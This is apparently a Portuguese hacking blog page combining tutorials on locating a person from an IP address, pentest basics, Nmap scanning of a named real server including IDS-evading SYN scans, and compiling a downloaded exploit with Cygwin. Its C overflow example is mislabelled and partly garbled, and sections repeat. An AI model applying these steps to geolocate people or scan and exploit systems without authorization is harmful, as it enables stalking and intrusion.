- Chegamos ao resultado preciso abaixo:




Alguém quer fazer uma visita a eles?
Porém como citei antes, essa foi fácil, localizar uma empresa não é nada complicado. Mas e no caso de um usuário internacional comum?
Nesse ponto nossos recursos se restringem um pouco, mas vamos ver até onde conseguimos chegar.

Nosso IP de exemplo será: 69.18.1.201

- Consultando a localização http://www.maxmind.com/app/lookup_city

Esta imagem foi redimensionada. Clique nesta barra para ver a imagem completa. A imagem original é de tamanho 817x114.


- O que identificamos: Local Internet Service Company, bom agora complicou pois não é tão simples como antes, descobrimos que o IP é de um Provedor de Internet.
Ou seja, um usuário comum.

- Seguimos direto para o Google Maps e informamos os dados da cidade:

- Nesse caso o melhor modo de visualização é Map;
- Como essa cidade Fairfield parece ser o lugar onde o diabo perdeu as meias, o zoom no mapa é bem limitado:



- Então vamos tentar no MapQuest(http://www.mapquest.com/) e informamos o código postal: 52556
Bom, um pouco mais detalhado...




Com isso as informações que temos, consiguimos chegar até este ponto, não obtivemos o endereço específico, mas uma noção boa da localização.

______________________________


Bom, então o passo-a-passo que eu sugestionaria para iniciar um rastreamento seria os seguinte:
- Analise o IP e descubra qual seu país;
http://www.maxmind.com/app/lookup

- Sabendo a nacionalidade:

* Se for nacional:


1) Consulte no http://www.registro.br/

2) Se constatar que o IP não está registrado, pesquise novamente em http://www.cadari.com.br/

3) Tendo o CEP em mãos, consulte ele http://www.correios.com.br/servicos/cep/cep_cep.cfm

* Caso seja internacional:

1) Busque primeiro no Whois: http://lacnic.net/cgi-bin/lacnic/whois?lg=EN

2) Senão retornar nada útil tente em: http://www.maxmind.com/app/lookup_city

3) Descoberto o país, consulte em http://www.embassyworld.com/Zip_Codes/

4) Acesse algum dos sites da lista referente ao país do IP

5) Busque pelo código postal localizado

6) Caso seja americano, uma boa dica é procurar no Google Maps

TERMINEI..

Pronto tá ae.
Leia com atenção e faça bom proveito

Não é 100% em todos os casos mas vale a pena tenta!

Pentest - Fundamentos para realizar um teste de fogo

Introdução

Todo profissional de segurança, além de saber proteger um sistema, deve também saber atacar um sistema, o pentest (penetration test ou teste de penetração).

Mas... o que é um pentest?

O pentest é um teste onde o profissional de segurança de uma determinada empresa ataca esta mesma entidade (empresa), para descobrir as falhas, brechas onde os usuários maliciosos possam ter entrado e feito todo tipo de dano. É muito comum o roubo e a destruição dos arquivos.

Um especialista em pentest deve conhecer algumas coisas para realizar tais ataques, tais como:
  • A cabeça de um cracker
  • programação (avançado)
  • ferramentas
  •   sites de busca
  • engenharia social
  • sistema operacional
  • redes e servidores
  • etc
Vamos explicar agora o porque de conhecer isso tudo:

Porque conhecer a cabeça de um cracker?

O cracker quer penetrar no sistema não é mesmo?! Ele usa as suas ferramentas para realizar o ataque, o que geralmente é um scanner de portas, um scanner de vulnerabilidades, um exploit, etc. O especialista de pentest deve conhecer estas mesmas metodologias e ter a mesma lógica do cracker, pois ele terá que agir da mesma forma para penetrar no sistema.

Porque ter conhecimentos ainda mais avançados em programação?

Às vezes o especialista em pentest não encontra a ferramenta que precisa, e por isso ele mesmo terá de desenvolver as suas. Seja em uma linguagem simples, como o Object Pascal (Dephi), até linguagens de médioa alto nível, como C e Assembly. Essas ferramentas podem variar desde um exploit até um scanner de vulnerabilidades, que tem como função procurar vulnerabilidades e falhas em um determinado sistema e aplicação.

Porque ter conhecimento em "ferramentas" e que ferramentas seriam essas?

Eu estou me referindo a ferramentas de segurança, que podem ser utilizadas para penetrar em um sistema. Essas ferramentas são bastante comuns em ataques. Podemos chamar de ferramenta um exploit, um scanner ou uma ferramente que auxilie ao efetuar o ataque. Existem ferramentas que realizam os testes em aplicações WEB tais como:
  • dirb
  • MySqloit
  • webroot
  • e muitos outros
Porque ter conhecimento em sites de busca?

Os sites de busca podem ser utilizados para fazer um footprinting, que é aonde o especialista em pentest faz a busca a procura de informações do alvo.

Porque conhecer a engenharia social?

Simplesmente para enganar funcionários mal treinados que fornecem informações confidenciais não autorizadas.

Porque ter conhecimento em sistemas operacionais?

Para você trabalhar com pentest, você terá que saber explorar falhas, correto?! E para explorar um buffer overflow ou stack overflow, você precisa conhecer um sistema operacional Unix ou Windows e outros a fundo, concorda?! Este é um dos motivos para citarmos o conhecimento em sistemas operacionais, como fundamental ao realizar um pentest.

Porque ter conhecimento em redes e servidores?

Você deve conhecer a que serviço pertence cada porta, saber para que serve isso, aquilo, etc. Estes conhecimentos são de importância fundamental para se realizar um ataque. O especialista de pentest deve conhecer bem um firewall, um honeypot, IDS etc. Isso são alguns exemplos da área, que um profissional de segurança deve conhecer.

Como as vulnerabilidades são exploradas

Vamos começar vendo como funciona o buffer overflow.

Analisemos o seguinte código, escrito na linguagem C:

Código:
#include<stdio.h>
 #include<string.h>
 int main()
{
, , , int, array[5], =, {1,2,3,4,5};
, , , printf("%d\n",array[5]);
}
Ao executarmos este programa temos:

134513728

O que aconteceu?

Este nosso programa houve um buffer overflow. Neste código eu tinha um array de 5, e chamei esse array na tela, chamei o 5. Só que tem um problema, a contagem começa do zero. Então, eu passei do limite do buffer, daí, tivemos um estouro de pilha.

Agora se o usuário quisesse mesmo ter o resultado esperado, ele teria que utilizar o código:

Código:
#include<stdio.h>
 #include<string.h>
 
int main()
{
   int array[5] = {1,2,3,4,5};
   printf("%d\n",array[4]);
}
Compilando e executando, teríamos:

5

5, neste caso é o ultimo valor da array ;)

Esse tipo de erro é muito encontrado! É nisso que um ataque buffer overflow é explorado. O exploit tenta passar do buffer definido para causar o buffer overflow (estouro de pilha).

Só para vocês terem ideia de como pode-se achar vulnerabilidades em aplicações devido ao buffer overflow, vou mostrar a vocês duas imagens:

Imagem do milw0rm, com busca por "buffer overflow". (Reparem na quantidade do conteúdo de exploits):



Imagem do exploit-db com busca por "buffer overflow" (reparem na quantidade de exploits para exploração de buffer overflow, e reparem também na quantidade de páginas disponíveis).



André S. Rosa Junior
http://www.juniorlinux.com.br
NOTA DO AUTOR: Todas as informações apresentadas neste artigo foram obtidas na Internet, sendo assim, não ofereço nenhum tipo de garantia ou suporte. Não nos responsabilizamos por qualquer dano ocorrido, tanto na máquina (computador) quanto no software. Siga por sua conta e risco.

FingerPrint

FigerPrint e uma técnica utilizada por especialistas em segurança para se obter o máximo de informações sobre um determinado sistema. Esta técnica e realizada atráves um portscan “Nmap” que pode ser usado, sempre que você precisar verificar rapidamente as portas abertas em determinado host, seja na sua rede local, seja na Internet. Ele permite detectar rapidamente portas abertas e outras informações sobre hosts da rede ou da internet.

Antes de começarmos faça download do Nmap no site oficial:

Nmap

Após a instalação do Nmap que e muito simples, vamos até o diretorio o qual o nmap esta instalado:


Estando no mesmo diretorio que o Nmap esta instalado, vamos dar inicio a detectação de informações.

- O servidor que escolhi para demostração; otavioribeiro.com “whl0007.whservidor.com (200.98.197.8)”

Para usar todos os recursos do Nmap, você deve executá-lo como Administrador. O uso mais simples é escanear diretamente uma máquina utilizando o comando:




Neste exemplo, o teste foi disparado contra uma máquina Linux, obtemos o resultado de quais portas do servidor encontram-se abertas. Porém o simples fato de uma determinada porta estar aberta, não significa que a máquina está vulnerável, mas apenas que existem serviços ativos e as portas não estão sendo bloqueadas por nenhum firewall.

Você pode obter mais informações sobre as portas abertas, incluindo a versão de cada serviço ativo usando a opção “-sV“, como em:




Aqui fomos informados sobre as versões dos sistemas que estão rodando no servidor, atráves destas informações podemos pesquisar exploits especificos para determinadas versões.

Outro parâmetro interessante é a opção “-O”, que faz com que o Nmap tente identificar qual é o sistema operacional usado em cada máquina. Esta identificação permite diferenciar máquinas rodando diferentes versões do Windows de máquinas rodando Linux ou MacOS, por exemplo, mas não é muito eficiente em identificar diferentes distribuições Linux, nem em identificar a versão do Windows usada. Veja um exemplo:




Neste caso temos uma instalação de um sistema operacional Linux sem o firewall ativo. Note que a identificação do sistema não é exata, o Nmap indicou corretamente que é uma máquina Linux, mas não soube identificar precisamente a versão.

Continuando, os scans do Nmap podem ser facilmente detectados caso alguma das máquinas-alvo esteja com o Snort, ou outro detector de intrusões ativo, o que vai lhe render no mínimo uma situação constrangedora. Para dificultar isso, o Nmap oferece a opção de fazer um half-open scan, especificando a opção “-sS“, como em:




Operando neste modo, o Nmap apenas envia um pacote SYN para cada porta alvo e espera para ver se recebe um pacote ACK de confirmação sem, entretanto, responder com o segundo pacote ACK, que abriria a conexão. Isso permite burlar muitos programas de detecção de intrusão, que monitoram e logam apenas conexões efetivamente estabelecidas.

Apesar de menos comum, é possível fazer também uma varredura de portas UDP abertas. Embora poucos serviços possam ser diretamente conectados através de portas UDP, muitos as utilizam para transferir dados e, em geral, os firewalls são configurados para bloquear apenas as portas TCP. Escanear as portas UDP é uma forma alternativa de detectar serviços abertos em uma máquina, mesmo que todas as portas TCP estejam fechadas no firewall. Existem também casos de backdoors acessíveis via UDP, como o Back Orifice (no Windows) e até mesmo (raras) brechas de segurança em serviços do Linux ou outros sistemas Unix.

Os scans de UDP são rápidos se direcionados a máquinas Windows, mas são absurdamente lentos se feitos contra máquinas Linux ou BSD, onde o sistema limita o número de erros de ICMP (dos quais o scan do Nmap depende) a uma taxa de aproximadamente 20 por segundo. No Windows não existe limite.

Para usar o scan UDP, usamos a opção “-sU”, como em:




Não foi detectado nenhum serviço utilizando a porta UDP.

Você pode escanear esta porta específica usando a opção “-sV” para descobrir mais sobre ela, como em: (Exemplo a porta 22 que todos sabemos que e utilizada para conexões via SSH).




Agora você sabe que a máquina tem ativo um servidor OpenSSH (versão 4.3), escondido na porta 22. Então atráves destes dados devemos utilizar como forma de segurança, esconder este tipo de serviço em portas altas, para que possa dificultar a detectação do portscan Nmap.

Tudo é muito simples quando a máquina alvo não possui nenhum firewall ativo. O scan é rápido e você pode lançar toda sorte de ataques sobre os serviços ativos. Mas, com um firewall ativo, as coisas tornam-se um pouco mais complicadas e demoradas. Um firewall configurado para descartar (DROP) todos os pacotes recebidos, faz com que o scan torne-se extremamente lento.

Como é feito um Teste de Penetração

web, foi criado apenas com base dos meus conhecimentos sobre o assunto.

Não sou nenhum especialista no assunto mas estou pensando em tirar um curso de CEH, por isso costumo ler muito sobre segurança e penetration test.

Estava pensando em criar um pdf com este artigo aqui para o istf, porque estou criando o artigo referido ao fórum e aos seus membros.

Ora vamos lá:

A InfoSecurity é uma comunidade de pesquisa de primeiro nível, dedicada a descobrir vulnerabilidades, partilhar e corrigir falhas de segurança em redes de computadores. Poucas são as comunidades e foruns que têm o conteúdo e conhecimentos necessários para lhe ajudar na resolução de suas vulnerabilidades.

Por isso, os membros e especialistas de segurança da InfoSecurity o podem ajudar. Você que está lendo este tópico, se navegar uns minutos pelo forum verá que existe aqui bons seguranças de rede assim como bons pentesters, não será difícil escolher um para dirigir a segurança da sua empresa ou mesmo para testa-la e fortalece-la.

As metodologias e o conteúdo dos tópicos do fórum lhe ajudam a determinar que tão seguro se encontra, e onde deve estar seus requerimentos de segurança, e como fechar a brecha para assim evitar violações de seu sistema.
Os testes de penetração, segurança da informação e valoração de aplicações, lhe podem ajudar a avaliar a segurança de certas aplicações em específico, de algum departamento em particular ou da totalidade de sua empresa.

Como trabalha o Atacante?

O atacante trabalha em 5 passos, os quais são:



Fases do Teste de Segurança

Todo o teste de segurança se leva a cabo em 3 fases:



Preparação: Nesta fase se assina um contrato com todos os termos legais e clausulas para proteger a ambas partes.

Conduta: Nesta fase o reporte da avaliação técnica é preparado baseando-se no resultado do Teste de vulnerabilidades.

Conclusão: Nesta fase os resultados da avaliação são comunicados à empresa, para que tomem as medidas pertinentes.

O que se realiza num Teste de Segurança?

1. Análise da rede
2. Análise de portas
3. Identificação de sistemas
4. Provas de debilidades em sistemas sem fios (dependendo segundo o caso)
5. Verificação de serviços (Site, correio, servidor de nomes, documentos visíveis, vírus e trojanos)
6. Determinação de vulnerabilidades
7. Identificação de exploits
8. Verificação manual de vulnerabilidades
9. Verificação de aplicações
10. Verificação de firewall e ACL
11. Revisão das políticas de segurança
12. Revisão de sistemas de detecção de intrusos
13. Revisão de sistemas de telefonia (dependendo segundo o caso)
14. Obtenção de informação (serviços de notícias, notas de imprensa, informações facilitadas pela própria empresa), ofertas de trabalho, newsgroups, xracks, números de série e "underground", FTP, Site, P2P
15. Engenharia social
16. Verificação de sistemas "confiaveis"
17. Análise de fortaleza de senhas
18. Negação de serviço
19. Revisão da política de privacidade.
20. Análise de cookies e bugs no Site
21. Revisão de arquivos de anotações cronológicas (logs)

Períodos do Teste de Segurança:

1. Fase de colecta de informação geral (reconnaissance and footprinting)
2. Fase de colecta específica sobre as redes e sistemas informáticos.
3. Fase de exploração e varredura (scanning) das redes e sistemas informáticos, para encontrar eventuais vulnerabilidades.
4. Fase de análise das vulnerabilidades e brechas de segurança encontradas.
5. Fase de ataques (teste de penetração e negação de serviço) para explorar as vulnerabilidades encontradas (exploit). Esta fase nem sempre se leva a cabo, já que pode afectar o funcionamento das equipas e sistemas; e em algumas ocasiões por norma da empresa.
6. Fase de elaboração de relatório, explicando os riscos e as possíveis consequências, com recomendações para remediar as vulnerabilidades.

Fase 1: Colecta de informação geral

Aqui trata-se de obter tanta informação quanto seja possível sobre o alvo. Mediante a avaliação às cegas se utiliza só o nome da organização, sem nenhuma ajuda desde dentro, para assim simular a situação de um ataque de intrusos vindo da Internet.
Em primeiro lugar se averigua o que mais se possa sobre o perfil da organização, por exemplo: âmbito de atividades, você sede e filiais, fornecedor de Internet (ISP), pessoas códigos, serviços que se oferecem, etc.

Fase 2: Colecta de informação específica

Nesta fase trata-se de obter informação específica e detalhada sobre a topologia da rede, assim como a configuração e características de cada equipe, de tipo de servidores, sistemas operativos (versão, service pack, correções), direcções de IP, mapa da rede, etc.
Para as provas com pleno conhecimento se pode solicitar e obter informação como a seguinte:

a) Lista completa de direcções de IP atribuídas, sejam utilizadas ou não.
b) Inventário de todos as equipas conectados em rede, especificando os seguintes dados: nome do host, função que cumpre, direção IP, descrição do hardware, sistema operativo e service pack (ou correções).
c) Planos e diagramas da rede, apoiados eventualmente de informação obtidas da actividade de gerenciamento, se existir.

Fase 3: Exploração e varredura (scanning)

Uma vez que se tenham determinado as direcções de IP das máquinas, trata-se de averiguar se estão ativas e quais portas estão abertas.
Para tal fim se utilizam ferramentas de domínio público e ferramentas comerciais, algumas das quais também reportam a descoberta de vulnerabilidades conhecidas.
Antes de usá-las, é importante actualizá-las para que se carreguem com a lista de vulnerabilidades mais recentes. Finalmente se faz um scanning manual sobre cada direcção para assim verificar e afinar os resultados do exame inicial.

Fase 4: Análise de vulnerabilidades e falhas achadas

Uma vez tendo-se identificado todo o hardware, software, sistema operativo, correcções, vulnerabilidades e outras informações pertinentes sobre a rede, deve-se investigar como se pode explorar tudo isso, para um possível ataque ou penetração.

Bom pessoal vou criar o artigo por fases, por agora parar por aqui.

Continua em "Como é feito um teste de penetração-Parte 2"

Espero que estejam a gostar, no próximo capitulo falarei sobre algumas ferramentas.

As bases de um pentest

Como trabalha o Atacante?

O atacante trabalha em 5 passos, os quais são:


Citação:
Reconhecimento
Scanning
Obter o acesso
Manter o acesso
Limpar rastros
Fases do Teste de Segurança

Todo o teste de segurança se leva a cabo em 3 fases:


Citação:
Preparação
Conduta
Conclusão

Preparação: Nesta fase se assina um contrato com todos os termos legais e clausulas para proteger a ambas partes.

Conduta: Nesta fase o reporte da avaliação técnica é preparado baseando-se no resultado do Teste de vulnerabilidades.

Conclusão: Nesta fase os resultados da avaliação são comunicados à empresa, para que tomem as medidas pertinentes.

O que se realiza num Teste de Segurança?

1. Anílise da rede
2. Anílise de portas
3. Identificação de sistemas
4. Provas de debilidades em sistemas sem fios (dependendo segundo o caso)
5. Verificação de serviços (Site, correio, servidor de nomes, documentos visàveis, vàrus e trojanos)
6. Determinação de vulnerabilidades
7. Identificação de exploits
8. Verificação manual de vulnerabilidades
9. Verificação de aplicações
10. Verificação de firewall e ACL
11. Revisão das polàticas de segurança
12. Revisão de sistemas de detecção de intrusos
13. Revisão de sistemas de telefonia (dependendo segundo o caso)
14. Obtenção de informação (serviços de notàcias, notas de imprensa, informações facilitadas pela própria empresa), ofertas de trabalho, newsgroups, xracks, números de série e "underground", FTP, Site, P2P
15. Engenharia social
16. Verificação de sistemas "confiaveis"
17. Anílise de fortaleza de senhas
18. Negação de serviço
19. Revisão da polàtica de privacidade.
20. Anílise de cookies e bugs no Site
21. Revisão de arquivos de anotações cronológicas (logs)

Peràodos do Teste de Segurança:

1. Fase de colecta de informação geral (reconnaissance and footprinting)
2. Fase de colecta especàfica sobre as redes e sistemas informíticos.
3. Fase de exploração e varredura (scanning) das redes e sistemas informíticos, para encontrar eventuais vulnerabilidades.
4. Fase de anílise das vulnerabilidades e brechas de segurança encontradas.
5. Fase de ataques (teste de penetração e negação de serviço) para explorar as vulnerabilidades encontradas (exploit). Esta fase nem sempre se leva a cabo, jí que pode afectar o funcionamento das equipas e sistemas; e em algumas ocasiões por norma da empresa.
6. Fase de elaboração de relatório, explicando os riscos e as possàveis consequências, com recomendações para remediar as vulnerabilidades.

Fase 1: Colecta de informação geral

Aqui trata-se de obter tanta informação quanto seja possàvel sobre o alvo. Mediante a avaliação às cegas se utiliza só o nome da organização, sem nenhuma ajuda desde dentro, para assim simular a situação de um ataque de intrusos vindo da Internet.
Em primeiro lugar se averigua o que mais se possa sobre o perfil da organização, por exemplo: âmbito de atividades, você sede e filiais, fornecedor de Internet (ISP), pessoas códigos, serviços que se oferecem, etc.

Fase 2: Colecta de informação especàfica


Nesta fase trata-se de obter informação especàfica e detalhada sobre a topologia da rede, assim como a configuração e caracteràsticas de cada equipe, de tipo de servidores, sistemas operativos (versão, service pack, correções), direcções de IP, mapa da rede, etc.
Para as provas com pleno conhecimento se pode solicitar e obter informação como a seguinte:

a) Lista completa de direcções de IP atribuàdas, sejam utilizadas ou não.
b) Inventírio de todos as equipas conectados em rede, especificando os seguintes dados: nome do host, função que cumpre, direção IP, descrição do hardware, sistema operativo e service pack (ou correções).
c) Planos e diagramas da rede, apoiados eventualmente de informação obtidas da actividade de gerenciamento, se existir.

Fase 3: Exploração e varredura (scanning)

Uma vez que se tenham determinado as direcções de IP das míquinas, trata-se de averiguar se estão ativas e quais portas estão abertas.
Para tal fim se utilizam ferramentas de domànio público e ferramentas comerciais, algumas das quais também reportam a descoberta de vulnerabilidades conhecidas.
Antes de usí-las, é importante actualizí-las para que se carreguem com a lista de vulnerabilidades mais recentes. Finalmente se faz um scanning manual sobre cada direcção para assim verificar e afinar os resultados do exame inicial.

Fase 4: Anílise de vulnerabilidades e falhas achadas

Uma vez tendo-se identificado todo o hardware, software, sistema operativo, correcções, vulnerabilidades e outras informações pertinentes sobre a rede, deve-se investigar como se pode explorar tudo isso, para um possàvel ataque ou penetração.

Como compilar um exploit em C com o Cygwi

Mas primeiro o que é a compilação?

“Um compilador aceita programas escritos em uma linguagem de alto nível e os traduz em outra linguagem, gerando um programa equivalente independente, que pode executar-se tantas vezes quanto se queira. Este processo de tradução se conhece como compilação.”



E Como sabemos se nosso código esta programado em C, ou em alguma outra linguagem?
Por meio das livrarias. (Extensión .h)



Todos os Exploit programados em C, ao início de seus códigos têm que chamar varias livrarias, para poderem ser compilados.
Se nosso compilador não possui alguma destas livrarias, não podemos compilar nosso Exploit.

Agora tendo isto em claro, podemos prosseguir.

Copiamos todo o código do exploit

IMPORTANTE: se deixamos que nos escape mesmo que seja um só carácter, é possível que o exploit não funcione.

Procederemos a cola-lo no bloco de notas, o guardamos como exploit.c, porque é importante que tenha a extensão C, porque é a extensão da linguagem C, lógico não?



É importante que em “Tipos” coloque “Todos os arquivos”
Senão criaremos um arquivo com extensão txt por defeito,que neste caso não nos servirá para proceder com a compilação. (exploit.c.txt)

É assim como você tem deixar ele.



Uma vez que tenhamos nosso Exploit guardado Procederemos a instalar nosso compilador.
(É importante que saibamos onde guardamos o nosso exploit, porque depois teremos que mudar de lugar).

O Programa CYGWIN (Compilador)

Primeiro antes de nada devemos baixar nosso Compilador CYGWIN

http://www.cygwin.com/setup.exe

Uma vez descarregado, renomear o arquivo setup.exe para cygwin_setup.exe, porque se o voltarmos a utilizar não fica tão difícil encontrá-lo.

Mas que é CYGWIN?

Cygwin é um ambiente UNIX emulado que se executa no Windows, e vem acompanhado de um valioso set de ferramentas GNU (que até agora só podiam ser utilizadas em Linux e Unix), entre as quais se destacam o compilador gcc.

(Se NÃO é um usuário avançado, escolha as opções que vou mostrar em cada imagem )

Uma vez renomeado fazemos clicamos 2 vezes nele e aparecerá a seguinte imagem:



É só uma tela de boas vindas seguiremos com seguinte (Next)...



O arquivo que estamos descarregando - não é o produto completo mas só o instalador. O mesmo nos permitirá escolher os componentes que vamos descarregar, de forma muito parecida ao menu de instalação de qualquer distribuição de Linux.

A segunda tela nos oferece três opções:



Recomendo usar a opção "Install from Internet", que resume todos os dois passos a um só processo.

Seguinte>…



Na terceira tela poderemos escolher o directório no qual trabalhará o programa. É recomendável não modificar o que o programa nos propõe, devido a que alguns arquivos de configuração prevêem que a instalação se levará a cabo em "C:\cygwin".

Instalaremos para todos os usuários, de outro modo só poderia utilizar o Cygwin um usuário com privilégios de administração.
Mesmo que não exista nenhum vírus que se aproveite da instalação do Cygwin em um sistema Windows devemos levar em conta que utilizar um programa com privilégios de administrador é sempre um problema de segurança.

Seleccionaremos o tipo de arquivo UNIX se instalamos o Cygwin como um ambiente UNIX puro; usaremos o tipo de arquivos 2 se queremos comunicar Cygwin com Windows muito a miúdo.

Seguinte>…



A quarta tela serve para determinar o directório onde se guardarão os pacotes de instalação de Cygwin. É útil prestar atenção a isto para saber que directório apagar em caso que queiramos economizar espaço ao finalizar a instalação. Também é útil se queremos gravar um CD com o Cygwin para instalá-lo em uma outra máquina mais lenta.

Seguinte>…



A quinta tela nos permite definir o tipo de conexão que se usará para baixar os arquivos.
Por defeito “Direct Connection

Seguinte>…



A continuação nos oferece uma longa lista de servidores Web e FTP. Em cada um deles há uma cópia dos arquivos que queremos baixar. Tentaremos escolher um servidor eficiente para que o download seja mais rápido.

Por desgraça não temos suficientes pacotes para escolher realmente no servidor que mais nos convem, mas os nomes de domínio nos dará uma pequeno indicação:

Os lugares cujo domínio termina em ".ar" provavelmente estejam fisicamente hospedados na Argentina, os que terminam em ".cl", no Chile, e os ".br" no Brasil.

Em geral, é conveniente escolher um servidor geograficamente perto.
É provável que alguns dos pacotes que necessitemos não estejam em alguns dos servidores. Em dito caso e no final da instalação, setup.exe nos pedirá que escolhamos outro servidor onde sim possamos encontrar os nossos pacotes.

Seguinte>…



Uma vez selecionado o servidor, o programa buscará a lista de pacotes que há nele e nos oferecerá um menu para que indiquemos quais queremos baixar.

Podemos marcar os pacotes do e 1 a 1 ou em grupo clicando sobre a palavra "Default" ao lado do nome da categoria.
Mas a nós nos interessa o pacote gcc que esta na categoria Devel.

Originalmente GCC significava GNU C Compiler (compilador GNU para C), porque só compilava a linguagem R. Posteriormente se propagou para compilar C++, Fortran, Ada e outros.

http://pt.wikipedia.org/wiki/GNU_Compiler_Collection

Seguinte>…



Quando encontremos os dois pacotes:

“gcc-core C compiler”
“gcc-g++ C++ compiler”


Fazemos clique em Skip, automaticamente nos muda à versão mas recente dos pacotes.

As opções para cada pacote são:




A seguinte tela nos mostrará 3 barras de progresso azuis.



Em caso que a conexão sofra alguma interrupção o programa nos o informará com o seguinte mensagem:



Em caso que isto ocorra deveremos repetir o processo de instalação desde o princípio, com a vantagem que os pacotes que já se tenham descarregado não terão que voltar a fazê-lo.



Uma vez completa a instalação, o programa nos perguntará se desejamos acrescentar automaticamente os ícones do Cygwin na área de trabalho e no menu iniciar.

Agora que temos instalado O Cygwin Procederemos a Compilar o Exploit, que anteriormente tínhamos guardado.

Vamos onde tínhamos guardado o exploit.c e o copiamos na pasta
C:\cygwin>bin

É importante que copiemos o exploit.c nessa pasta.



Agora vamos para a Shell do Windows, vamos a Iniciar – Executar – CMD





Nos aparecerá isto.

(O nome Placker varia segundo o nome que colocaram o como administrador)



Agora vamos à Pasta, onde esta nosso exploit:

Lembremos que nós guardamos nosso exploit na Pasta

C:\cygwin\bin

E para poder chegar na dita pasta devemos fazer o seguinte:

Por defeito, nossa shell estará nesta pasta...

C:\documents and setting\*******>

Onde ***** é o nome do administrador, neste caso será Placker

Teclamos o seguinte:



Também exemplificado nesta imagem.



Depois que encontramos a pasta, passamos à tão anelada compilação

Teclamos… Cygwin\bin>gcc exploit.c –o exploit.exe

Depois se tudo sai bem nos voltará a sair

C:\cygwin\bin>

Isso significa que foi criado com exito nosso exploit...

Agora só nos falta executá-lo

C:\cygwin\bin> exploit.exe

E Rápido, cada exploit tem seu guia de como ser usado, por isso não se poderia fazer um guia passo a passo para cada exploit.



Este é um exploit de uma impressora Hp em ambiente Unix.

A MELHOR MANEIRA DE APRENDER É VER e LER BASTANTE¡¡¡¡

Problemas Comuns na compilação:

1.) Logo que renomeamos a extensão do exploit, exemplo:

exploit.c.txt

Erro:


Este erro sucede-se por não ter desactivada uma opção que o Windows Xp trás por defeito, agora veremos como concerta-los.

Primeiro devemos abrir qualquer pasta de nosso computador, e vamos a ferramentas, Opções de Pasta.

Erro:


Segundo, Vamos à aba "Ver" e procuramos a opção "Ocultar as extensões de arquivo para tipo de arquivos conhecidos"



Depois é só desactivar...



Agora clicamos em Aplicar/Ok...

Agora procuramos onde guardamos o Exploit, talvez no caso guardarmos o exploit devemos-lhe renomear com um nome que não nos esquecamos, temos que lembrar que é importante deixar o exploit na Pasta X:\cywgin>bin> (X: nome da partição C: etc)



Damos um Click no exploit e pressionamos o botão direito do mouse e vamos à opção MUDAR NOME, e apagamos a extencão .TXT



Depois de apagarmos a extensão .TXT vai aparecer uma mensagem perguntando se estamos seguros com a mudança de extensão.

Respondemos "sim"...



Agora vamos de novo compilar o expliot e passaremos de:

Isto:


A isto:


E está pronto o nosso exploit..

IMPORTANTE:

Porque se passa isto?

Porque o Windows , tem por default esconder as extensões dos arquivos conhecidos, como txt, word, excel, etc, fazendo com que quando nós guardamos algum arquivo este acrescente a extensão do programa que estejamos usando neste caso , como usando o Notepad, nos acrescenta-se a extensão TXT.
← Postagens mais recentes Postagens mais antigas → Página inicial
Copyright © Hacking & Security | Powered by Xandao Design by Xandao86 | Xandao86